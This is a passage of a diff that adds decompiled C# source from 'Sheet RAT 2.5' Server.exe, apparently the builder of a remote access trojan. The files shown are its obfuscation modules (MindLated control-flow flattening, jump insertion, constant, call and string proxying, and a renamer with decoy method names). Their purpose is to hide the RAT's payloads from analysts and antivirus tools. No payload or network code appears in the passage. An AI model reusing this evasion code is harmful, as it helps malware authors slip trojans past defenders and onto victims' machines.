List<Block> blocks = BlockParser.ParseMethod(method);
|
||||
int num1 = ControlFlowObfuscation.rnd.Next(1, 10);
|
||||
int num2 = 0;
|
||||
foreach (Block block in blocks)
|
||||
{
|
||||
block.SubRand = num1;
|
||||
num1 = ControlFlowObfuscation.rnd.Next(num1 + 1, num1 + 10);
|
||||
block.PlusRand = num1;
|
||||
if (blocks.Count - 2 == block.Number)
|
||||
num2 = num1;
|
||||
}
|
||||
blocks = ControlFlowObfuscation.Randomize(blocks);
|
||||
method.Body.Instructions.Clear();
|
||||
Local local = new Local(ControlFlowObfuscation.RandomSig(method));
|
||||
method.Body.Variables.Add(local);
|
||||
local.Name = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
|
||||
Instruction target1 = Instruction.Create(OpCodes.Nop);
|
||||
Instruction target2 = Instruction.Create(OpCodes.Br, target1);
|
||||
int num3 = ControlFlowObfuscation.rnd.Next(0, 10000);
|
||||
foreach (Instruction instruction in ControlFlowObfuscation.Calc(num3, local.Type))
|
||||
method.Body.Instructions.Add(instruction);
|
||||
method.Body.Instructions.Add(ControlFlowObfuscation.StLoc(local));
|
||||
method.Body.Instructions.Add(Instruction.Create(OpCodes.Br, target2));
|
||||
method.Body.Instructions.Add(target1);
|
||||
foreach (Block block in blocks.Where<Block>((Func<Block, bool>) (block => block != blocks.Single<Block>((Func<Block, bool>) (x => x.Number == blocks.Count - 1)))))
|
||||
{
|
||||
method.Body.Instructions.Add(ControlFlowObfuscation.Ldloc(local));
|
||||
if (block.Number == 0)
|
||||
{
|
||||
foreach (Instruction instruction in ControlFlowObfuscation.Calc(num3, local.Type))
|
||||
method.Body.Instructions.Add(instruction);
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach (Instruction instruction in ControlFlowObfuscation.Calc(block.SubRand + num3, local.Type))
|
||||
method.Body.Instructions.Add(instruction);
|
||||
}
|
||||
method.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq));
|
||||
Instruction target3 = Instruction.Create(OpCodes.Nop);
|
||||
method.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse, target3));
|
||||
foreach (Instruction instruction in block.Instructions)
|
||||
method.Body.Instructions.Add(instruction);
|
||||
foreach (Instruction instruction in ControlFlowObfuscation.Calc(block.PlusRand + num3, local.Type))
|
||||
method.Body.Instructions.Add(instruction);
|
||||
method.Body.Instructions.Add(ControlFlowObfuscation.StLoc(local));
|
||||
method.Body.Instructions.Add(target3);
|
||||
}
|
||||
method.Body.Instructions.Add(ControlFlowObfuscation.Ldloc(local));
|
||||
foreach (Instruction instruction in ControlFlowObfuscation.Calc(num2 + num3, local.Type))
|
||||
method.Body.Instructions.Add(instruction);
|
||||
method.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq));
|
||||
method.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse, target2));
|
||||
method.Body.Instructions.Add(Instruction.Create(OpCodes.Br, blocks.Single<Block>((Func<Block, bool>) (x => x.Number == blocks.Count - 1)).Instructions[0]));
|
||||
method.Body.Instructions.Add(target2);
|
||||
foreach (Instruction instruction in blocks.Single<Block>((Func<Block, bool>) (x => x.Number == blocks.Count - 1)).Instructions)
|
||||
method.Body.Instructions.Add(instruction);
|
||||
method.Body.InitLocals = true;
|
||||
}
|
||||
|
||||
public static List<Block> Randomize(List<Block> input)
|
||||
{
|
||||
List<Block> blockList = new List<Block>();
|
||||
foreach (Block block in input)
|
||||
blockList.Insert(ControlFlowObfuscation.rnd.Next(0, blockList.Count), block);
|
||||
return blockList;
|
||||
}
|
||||
|
||||
public static List<Instruction> Calc(int value, TypeSig sig)
|
||||
{
|
||||
List<Instruction> instructionList;
|
||||
if (sig == sig.Module.CorLibTypes.Double)
|
||||
instructionList = new List<Instruction>()
|
||||
{
|
||||
Instruction.Create(OpCodes.Ldc_R8, (double) value)
|
||||
};
|
||||
else
|
||||
instructionList = new List<Instruction>()
|
||||
{
|
||||
Instruction.Create(OpCodes.Ldc_I4, value)
|
||||
};
|
||||
return instructionList;
|
||||
}
|
||||
|
||||
public void AddJump(IList<Instruction> instrs, Instruction target)
|
||||
{
|
||||
instrs.Add(Instruction.Create(OpCodes.Br, target));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.CtrlFlow.JumpCFlow
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Renamer;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.CtrlFlow {
|
||||
|
||||
public static class JumpCFlow
|
||||
{
|
||||
public static void Execute(ModuleDefMD module)
|
||||
{
|
||||
foreach (TypeDef type in (IEnumerable<TypeDef>) module.Types)
|
||||
{
|
||||
foreach (MethodDef methodDef in type.Methods.ToArray<MethodDef>())
|
||||
{
|
||||
if (methodDef.HasBody && methodDef.Body.HasInstructions && !methodDef.Body.HasExceptionHandlers)
|
||||
{
|
||||
for (int index = 0; index < methodDef.Body.Instructions.Count - 2; index = index + 2 + 1)
|
||||
{
|
||||
Instruction instruction = methodDef.Body.Instructions[index + 1];
|
||||
methodDef.Body.Instructions.Insert(index + 1, Instruction.Create(OpCodes.Ldstr, RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii)));
|
||||
methodDef.Body.Instructions.Insert(index + 1, Instruction.Create(OpCodes.Br_S, instruction));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Proxy.EnumerableExtensions
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using System.Collections.Generic;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Proxy {
|
||||
|
||||
public static class EnumerableExtensions
|
||||
{
|
||||
public static T Random<T>(this IEnumerable<T> input) => EnumerableHelper.Random<T>(input);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Proxy.EnumerableHelper
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Proxy {
|
||||
|
||||
public static class EnumerableHelper
|
||||
{
|
||||
private static readonly System.Random R = new System.Random();
|
||||
|
||||
public static TE Random<TE>(IEnumerable<TE> input)
|
||||
{
|
||||
if (!(input is TE[] eArray))
|
||||
eArray = input.ToArray<TE>();
|
||||
TE[] source = eArray;
|
||||
return ((IEnumerable<TE>) source).ElementAt<TE>(EnumerableHelper.R.Next(source.Length));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Proxy.ProxyInt
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Renamer;
|
||||
using System.Collections.Generic;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Proxy {
|
||||
|
||||
public static class ProxyInt
|
||||
{
|
||||
public static void Execute(ModuleDef module)
|
||||
{
|
||||
foreach (TypeDef type in module.GetTypes())
|
||||
{
|
||||
if (!type.IsGlobalModuleType)
|
||||
{
|
||||
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
|
||||
{
|
||||
if (method.HasBody)
|
||||
{
|
||||
IList<Instruction> instructions = method.Body.Instructions;
|
||||
for (int index = 0; index < instructions.Count; ++index)
|
||||
{
|
||||
if (method.Body.Instructions[index].IsLdcI4())
|
||||
{
|
||||
MethodImplAttributes implFlags = MethodImplAttributes.IL;
|
||||
MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
|
||||
MethodDefUser methodDefUser = new MethodDefUser((UTF8String) RenamerPhase.GenerateString(RenamerPhase.RenameMode.Key), MethodSig.CreateStatic((TypeSig) module.CorLibTypes.Int32), implFlags, flags);
|
||||
module.GlobalType.Methods.Add((MethodDef) methodDefUser);
|
||||
methodDefUser.Body = new CilBody();
|
||||
methodDefUser.Body.Variables.Add(new Local((TypeSig) module.CorLibTypes.Int32));
|
||||
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4, instructions[index].GetLdcI4Value()));
|
||||
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
|
||||
instructions[index].OpCode = OpCodes.Call;
|
||||
instructions[index].Operand = (object) methodDefUser;
|
||||
}
|
||||
else if (method.Body.Instructions[index].OpCode == OpCodes.Ldc_R4)
|
||||
{
|
||||
MethodImplAttributes implFlags = MethodImplAttributes.IL;
|
||||
MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
|
||||
MethodDefUser methodDefUser = new MethodDefUser((UTF8String) RenamerPhase.GenerateString(RenamerPhase.RenameMode.Key), MethodSig.CreateStatic((TypeSig) module.CorLibTypes.Double), implFlags, flags);
|
||||
module.GlobalType.Methods.Add((MethodDef) methodDefUser);
|
||||
methodDefUser.Body = new CilBody();
|
||||
methodDefUser.Body.Variables.Add(new Local((TypeSig) module.CorLibTypes.Double));
|
||||
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_R4, (float) method.Body.Instructions[index].Operand));
|
||||
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
|
||||
instructions[index].OpCode = OpCodes.Call;
|
||||
instructions[index].Operand = (object) methodDefUser;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Proxy.ProxyMeth
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Proxy {
|
||||
|
||||
public static class ProxyMeth
|
||||
{
|
||||
public static Random rand = new Random();
|
||||
public static List<MemberRef> MemberRefList = new List<MemberRef>();
|
||||
|
||||
public static void ScanMemberRef(ModuleDef module)
|
||||
{
|
||||
foreach (TypeDef type in (IEnumerable<TypeDef>) module.Types)
|
||||
{
|
||||
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
|
||||
{
|
||||
if (method.HasBody && method.Body.HasInstructions)
|
||||
{
|
||||
for (int index = 0; index < method.Body.Instructions.Count - 1; ++index)
|
||||
{
|
||||
if (method.Body.Instructions[index].OpCode == OpCodes.Call)
|
||||
{
|
||||
try
|
||||
{
|
||||
MemberRef operand = (MemberRef) method.Body.Instructions[index].Operand;
|
||||
if (!operand.HasThis)
|
||||
ProxyMeth.MemberRefList.Add(operand);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static MethodDef GenerateSwitch(MemberRef original, ModuleDef md)
|
||||
{
|
||||
try
|
||||
{
|
||||
List<TypeSig> list = original.MethodSig.Params.ToList<TypeSig>();
|
||||
list.Add((TypeSig) md.CorLibTypes.Int32);
|
||||
MethodImplAttributes implFlags = MethodImplAttributes.IL;
|
||||
MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
|
||||
MethodDefUser methodDefUser = new MethodDefUser((UTF8String) string.Format("ProxyMeth{0}", ProxyMeth.rand.Next(0, int.MaxValue)), MethodSig.CreateStatic(original.MethodSig.RetType, list.ToArray()), implFlags, flags);
|
||||
methodDefUser.Body = new CilBody();
|
||||
MethodDef methodDef = (MethodDef) methodDefUser;
|
||||
methodDef.Body.Variables.Add(new Local((TypeSig) md.CorLibTypes.Int32));
|
||||
methodDef.Body.Variables.Add(new Local((TypeSig) md.CorLibTypes.Int32));
|
||||
methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ldarg_0));
|
||||
List<Instruction> instructionList = new List<Instruction>();
|
||||
Instruction instruction1 = new Instruction(OpCodes.Switch);
|
||||
methodDef.Body.Instructions.Add(instruction1);
|
||||
Instruction instruction2 = new Instruction(OpCodes.Br_S);
|
||||
methodDef.Body.Instructions.Add(instruction2);
|
||||
for (int index1 = 0; index1 < 5; ++index1)
|
||||
{
|
||||
for (int index2 = 0; index2 <= original.MethodSig.Params.Count - 1; ++index2)
|
||||
{
|
||||
methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ldarg, methodDef.Parameters[index2]));
|
||||
if (index2 == 0)
|
||||
instructionList.Add(Instruction.Create(OpCodes.Ldarg, methodDef.Parameters[index2]));
|
||||
}
|
||||
Instruction instruction3 = Instruction.Create(OpCodes.Ldc_I4, index1);
|
||||
methodDef.Body.Instructions.Add(instruction3);
|
||||
methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
|
||||
}
|
||||
Instruction instruction4 = Instruction.Create(OpCodes.Ldnull);
|
||||
methodDef.Body.Instructions.Add(instruction4);
|
||||
methodDef.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
|
||||
instruction2.Operand = (object) instruction4;
|
||||
instruction1.Operand = (object) instructionList;
|
||||
return methodDef;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return (MethodDef) null;
|
||||
}
|
||||
}
|
||||
|
||||
public static void Execute(ModuleDef module)
|
||||
{
|
||||
ProxyMeth.ScanMemberRef(module);
|
||||
foreach (TypeDef type in module.GetTypes())
|
||||
{
|
||||
if (!type.IsGlobalModuleType)
|
||||
{
|
||||
foreach (MethodDef methodDef1 in type.Methods.ToArray<MethodDef>())
|
||||
{
|
||||
if (methodDef1.HasBody && !methodDef1.Name.Contains(nameof (ProxyMeth)))
|
||||
{
|
||||
IList<Instruction> instructions = methodDef1.Body.Instructions;
|
||||
for (int index1 = 0; index1 < instructions.Count; ++index1)
|
||||
{
|
||||
if (methodDef1.Body.Instructions[index1].OpCode == OpCodes.Call)
|
||||
{
|
||||
try
|
||||
{
|
||||
MemberRef original = (MemberRef) methodDef1.Body.Instructions[index1].Operand;
|
||||
if (!original.HasThis)
|
||||
{
|
||||
MethodDef methodDef2 = ProxyMeth.GenerateSwitch(original, module);
|
||||
methodDef1.DeclaringType.Methods.Add(methodDef2);
|
||||
instructions[index1].OpCode = OpCodes.Call;
|
||||
instructions[index1].Operand = (object) methodDef2;
|
||||
int num = ProxyMeth.rand.Next(0, 5);
|
||||
for (int index2 = 0; index2 < methodDef2.Body.Instructions.Count - 1; ++index2)
|
||||
{
|
||||
if (methodDef2.Body.Instructions[index2].OpCode == OpCodes.Ldc_I4)
|
||||
{
|
||||
if (string.Compare(methodDef2.Body.Instructions[index2].Operand.ToString(), num.ToString(), StringComparison.Ordinal) != 0)
|
||||
{
|
||||
methodDef2.Body.Instructions[index2].OpCode = OpCodes.Call;
|
||||
methodDef2.Body.Instructions[index2].Operand = (object) ProxyMeth.MemberRefList.Where<MemberRef>((Func<MemberRef, bool>) (m => m.MethodSig.Params.Count == original.MethodSig.Params.Count)).ToList<MemberRef>().Random<MemberRef>();
|
||||
}
|
||||
else
|
||||
{
|
||||
methodDef2.Body.Instructions[index2].OpCode = OpCodes.Call;
|
||||
methodDef2.Body.Instructions[index2].Operand = (object) original;
|
||||
}
|
||||
}
|
||||
}
|
||||
methodDef1.Body.Instructions.Insert(index1, Instruction.CreateLdcI4(num));
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Proxy.ProxyString
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Renamer;
|
||||
using System.Collections.Generic;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Proxy {
|
||||
|
||||
internal class ProxyString
|
||||
{
|
||||
public static void Execute(ModuleDef module)
|
||||
{
|
||||
foreach (TypeDef type in module.GetTypes())
|
||||
{
|
||||
if (!type.IsGlobalModuleType)
|
||||
{
|
||||
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
|
||||
{
|
||||
if (method.HasBody)
|
||||
{
|
||||
foreach (Instruction instruction in (IEnumerable<Instruction>) method.Body.Instructions)
|
||||
{
|
||||
if (instruction.OpCode == OpCodes.Ldstr)
|
||||
{
|
||||
MethodImplAttributes implFlags = MethodImplAttributes.IL;
|
||||
MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
|
||||
MethodDefUser methodDefUser = new MethodDefUser((UTF8String) RenamerPhase.GenerateString(RenamerPhase.RenameMode.Key), MethodSig.CreateStatic((TypeSig) module.CorLibTypes.String), implFlags, flags);
|
||||
module.GlobalType.Methods.Add((MethodDef) methodDefUser);
|
||||
methodDefUser.Body = new CilBody();
|
||||
methodDefUser.Body.Variables.Add(new Local((TypeSig) module.CorLibTypes.String));
|
||||
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ldstr, instruction.Operand.ToString()));
|
||||
methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
|
||||
instruction.OpCode = OpCodes.Call;
|
||||
instruction.Operand = (object) methodDefUser;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,405 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Renamer.RenamerPhase
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Renamer {
|
||||
|
||||
public class RenamerPhase
|
||||
{
|
||||
private static readonly Dictionary<TypeDef, bool> TypeRename = new Dictionary<TypeDef, bool>();
|
||||
private static readonly List<string> TypeNewName = new List<string>();
|
||||
private static readonly Dictionary<MethodDef, bool> MethodRename = new Dictionary<MethodDef, bool>();
|
||||
private static readonly List<string> MethodNewName = new List<string>();
|
||||
private static readonly Dictionary<FieldDef, bool> FieldRename = new Dictionary<FieldDef, bool>();
|
||||
private static readonly List<string> FieldNewName = new List<string>();
|
||||
private static readonly bool IsObfuscationActive = true;
|
||||
private static readonly Random Random = new Random();
|
||||
private static readonly string[] NormalNameStrings = new string[257]
|
||||
{
|
||||
"HasPermission",
|
||||
"HasPermissions",
|
||||
"GetPermissions",
|
||||
"GetOpenWindows",
|
||||
"EnumWindows",
|
||||
"GetWindowText",
|
||||
"GetWindowTextLength",
|
||||
"IsWindowVisible",
|
||||
"GetShellWindow",
|
||||
"Awake",
|
||||
"FixedUpdate",
|
||||
"add_OnRockedInitialized",
|
||||
"remove_OnRockedInitialized",
|
||||
"Awake",
|
||||
"Initialize",
|
||||
"Translate",
|
||||
"Reload",
|
||||
"<Initialize>b__13_0",
|
||||
"Initialize",
|
||||
"FixedUpdate",
|
||||
"Start",
|
||||
"checkTimerRestart",
|
||||
"QueueOnMainThread",
|
||||
"QueueOnMainThread",
|
||||
"RunAsync",
|
||||
"RunAction",
|
||||
"Awake",
|
||||
"FixedUpdate",
|
||||
"IsUri",
|
||||
"GetTypes",
|
||||
"GetTypesFromParentClass",
|
||||
"GetTypesFromParentClass",
|
||||
"GetTypesFromInterface",
|
||||
"GetTypesFromInterface",
|
||||
"get_Timeout",
|
||||
"set_Timeout",
|
||||
"GetWebRequest",
|
||||
"get_SteamID64",
|
||||
"set_SteamID64",
|
||||
"get_SteamID",
|
||||
"set_SteamID",
|
||||
"get_OnlineState",
|
||||
"set_OnlineState",
|
||||
"get_StateMessage",
|
||||
"set_StateMessage",
|
||||
"get_PrivacyState",
|
||||
"set_PrivacyState",
|
||||
"get_VisibilityState",
|
||||
"set_VisibilityState",
|
||||
"get_AvatarIcon",
|
||||
"set_AvatarIcon",
|
||||
"get_AvatarMedium",
|
||||
"set_AvatarMedium",
|
||||
"get_AvatarFull",
|
||||
"set_AvatarFull",
|
||||
"get_IsVacBanned",
|
||||
"set_IsVacBanned",
|
||||
"get_TradeBanState",
|
||||
"set_TradeBanState",
|
||||
"get_IsLimitedAccount",
|
||||
"set_IsLimitedAccount",
|
||||
"get_CustomURL",
|
||||
"set_CustomURL",
|
||||
"get_MemberSince",
|
||||
"set_MemberSince",
|
||||
"get_HoursPlayedLastTwoWeeks",
|
||||
"set_HoursPlayedLastTwoWeeks",
|
||||
"get_Headline",
|
||||
"set_Headline",
|
||||
"get_Location",
|
||||
"set_Location",
|
||||
"get_RealName",
|
||||
"set_RealName",
|
||||
"get_Summary",
|
||||
"set_Summary",
|
||||
"get_MostPlayedGames",
|
||||
"set_MostPlayedGames",
|
||||
"get_Groups",
|
||||
"set_Groups",
|
||||
"Reload",
|
||||
"ParseString",
|
||||
"ParseDateTime",
|
||||
"ParseDouble",
|
||||
"ParseUInt16",
|
||||
"ParseUInt32",
|
||||
"ParseUInt64",
|
||||
"ParseBool",
|
||||
"ParseUri",
|
||||
"IsValidCSteamID",
|
||||
"LoadDefaults",
|
||||
"LoadDefaults",
|
||||
"get_Clients",
|
||||
"Awake",
|
||||
"handleConnection",
|
||||
"FixedUpdate",
|
||||
"Broadcast",
|
||||
"OnDestroy",
|
||||
"Read",
|
||||
"Send",
|
||||
"<Awake>b__8_0",
|
||||
"get_InstanceID",
|
||||
"set_InstanceID",
|
||||
"get_ConnectedTime",
|
||||
"set_ConnectedTime",
|
||||
"Send",
|
||||
"Read",
|
||||
"Close",
|
||||
"get_Address",
|
||||
"get_Instance",
|
||||
"set_Instance",
|
||||
"Save",
|
||||
"Load",
|
||||
"Unload",
|
||||
"Load",
|
||||
"Save",
|
||||
"Load",
|
||||
"get_Configuration",
|
||||
"LoadPlugin",
|
||||
"<.ctor>b__3_0",
|
||||
"<LoadPlugin>b__4_0",
|
||||
"add_OnPluginUnloading",
|
||||
"remove_OnPluginUnloading",
|
||||
"add_OnPluginLoading",
|
||||
"remove_OnPluginLoading",
|
||||
"get_Translations",
|
||||
"get_State",
|
||||
"get_Assembly",
|
||||
"set_Assembly",
|
||||
"get_Directory",
|
||||
"set_Directory",
|
||||
"get_Name",
|
||||
"set_Name",
|
||||
"get_DefaultTranslations",
|
||||
"IsDependencyLoaded",
|
||||
"ExecuteDependencyCode",
|
||||
"Translate",
|
||||
"ReloadPlugin",
|
||||
"LoadPlugin",
|
||||
"UnloadPlugin",
|
||||
"OnEnable",
|
||||
"OnDisable",
|
||||
"Load",
|
||||
"Unload",
|
||||
"TryAddComponent",
|
||||
"TryRemoveComponent",
|
||||
"add_OnPluginsLoaded",
|
||||
"remove_OnPluginsLoaded",
|
||||
"get_Plugins",
|
||||
"GetPlugins",
|
||||
"GetPlugin",
|
||||
"GetPlugin",
|
||||
"Awake",
|
||||
"Start",
|
||||
"GetMainTypeFromAssembly",
|
||||
"loadPlugins",
|
||||
"unloadPlugins",
|
||||
"Reload",
|
||||
"GetAssembliesFromDirectory",
|
||||
"LoadAssembliesFromDirectory",
|
||||
"<Awake>b__12_0",
|
||||
"GetGroupsByIds",
|
||||
"GetParentGroups",
|
||||
"HasPermission",
|
||||
"GetGroup",
|
||||
"RemovePlayerFromGroup",
|
||||
"AddPlayerToGroup",
|
||||
"DeleteGroup",
|
||||
"SaveGroup",
|
||||
"AddGroup",
|
||||
"GetGroups",
|
||||
"GetPermissions",
|
||||
"GetPermissions",
|
||||
"<GetGroups>b__11_3",
|
||||
"Start",
|
||||
"FixedUpdate",
|
||||
"Reload",
|
||||
"HasPermission",
|
||||
"GetGroups",
|
||||
"GetPermissions",
|
||||
"GetPermissions",
|
||||
"AddPlayerToGroup",
|
||||
"RemovePlayerFromGroup",
|
||||
"GetGroup",
|
||||
"SaveGroup",
|
||||
"AddGroup",
|
||||
"DeleteGroup",
|
||||
"DeleteGroup",
|
||||
"<FixedUpdate>b__4_0",
|
||||
"Enqueue",
|
||||
"_Logger_DoWork",
|
||||
"processLog",
|
||||
"Log",
|
||||
"Log",
|
||||
"var_dump",
|
||||
"LogWarning",
|
||||
"LogError",
|
||||
"LogError",
|
||||
"Log",
|
||||
"LogException",
|
||||
"ProcessInternalLog",
|
||||
"logRCON",
|
||||
"writeToConsole",
|
||||
"ProcessLog",
|
||||
"ExternalLog",
|
||||
"Invoke",
|
||||
"_invoke",
|
||||
"TryInvoke",
|
||||
"get_Aliases",
|
||||
"get_AllowedCaller",
|
||||
"get_Help",
|
||||
"get_Name",
|
||||
"get_Permissions",
|
||||
"get_Syntax",
|
||||
"Execute",
|
||||
"get_Aliases",
|
||||
"get_AllowedCaller",
|
||||
"get_Help",
|
||||
"get_Name",
|
||||
"get_Permissions",
|
||||
"get_Syntax",
|
||||
"Execute",
|
||||
"get_Aliases",
|
||||
"get_AllowedCaller",
|
||||
"get_Help",
|
||||
"get_Name",
|
||||
"get_Permissions",
|
||||
"get_Syntax",
|
||||
"Execute",
|
||||
"get_Name",
|
||||
"set_Name",
|
||||
"get_Name",
|
||||
"set_Name",
|
||||
"get_Name",
|
||||
"get_Help",
|
||||
"get_Syntax",
|
||||
"get_AllowedCaller",
|
||||
"get_Commands",
|
||||
"set_Commands",
|
||||
"add_OnExecuteCommand",
|
||||
"remove_OnExecuteCommand",
|
||||
"Reload",
|
||||
"Awake",
|
||||
"checkCommandMappings",
|
||||
"checkDuplicateCommandMappings",
|
||||
"Plugins_OnPluginsLoaded",
|
||||
"GetCommand",
|
||||
"GetCommand",
|
||||
"getCommandIdentity",
|
||||
"getCommandType",
|
||||
"Register",
|
||||
"Register",
|
||||
"Register",
|
||||
"DeregisterFromAssembly",
|
||||
"GetCooldown",
|
||||
"SetCooldown",
|
||||
"Execute",
|
||||
"RegisterFromAssembly"
|
||||
};
|
||||
private const string Ascii = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
||||
private const string number = "1234567890";
|
||||
|
||||
public static void Execute(ModuleDefMD module, RenamerPhase.RenameMode renameMode)
|
||||
{
|
||||
if (RenamerPhase.IsObfuscationActive)
|
||||
{
|
||||
string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
|
||||
foreach (TypeDef type in (IEnumerable<TypeDef>) module.Types)
|
||||
{
|
||||
if (new Random().Next(0, 4) == 1)
|
||||
str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
|
||||
bool flag1;
|
||||
if (RenamerPhase.TypeRename.TryGetValue(type, out flag1))
|
||||
{
|
||||
if (flag1)
|
||||
RenamerPhase.InternalRename(type);
|
||||
}
|
||||
else
|
||||
RenamerPhase.InternalRename(type);
|
||||
type.Namespace = (UTF8String) str;
|
||||
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
|
||||
{
|
||||
bool flag2;
|
||||
if (RenamerPhase.MethodRename.TryGetValue(method, out flag2))
|
||||
{
|
||||
if (flag2 && !method.IsConstructor && !method.IsSpecialName)
|
||||
RenamerPhase.InternalRename(method);
|
||||
}
|
||||
else if (!method.IsConstructor && !method.IsSpecialName)
|
||||
RenamerPhase.InternalRename(method);
|
||||
}
|
||||
RenamerPhase.MethodNewName.Clear();
|
||||
foreach (FieldDef field in (IEnumerable<FieldDef>) type.Fields)
|
||||
{
|
||||
bool flag3;
|
||||
if (RenamerPhase.FieldRename.TryGetValue(field, out flag3))
|
||||
{
|
||||
if (flag3)
|
||||
RenamerPhase.InternalRename(field);
|
||||
}
|
||||
else
|
||||
RenamerPhase.InternalRename(field);
|
||||
}
|
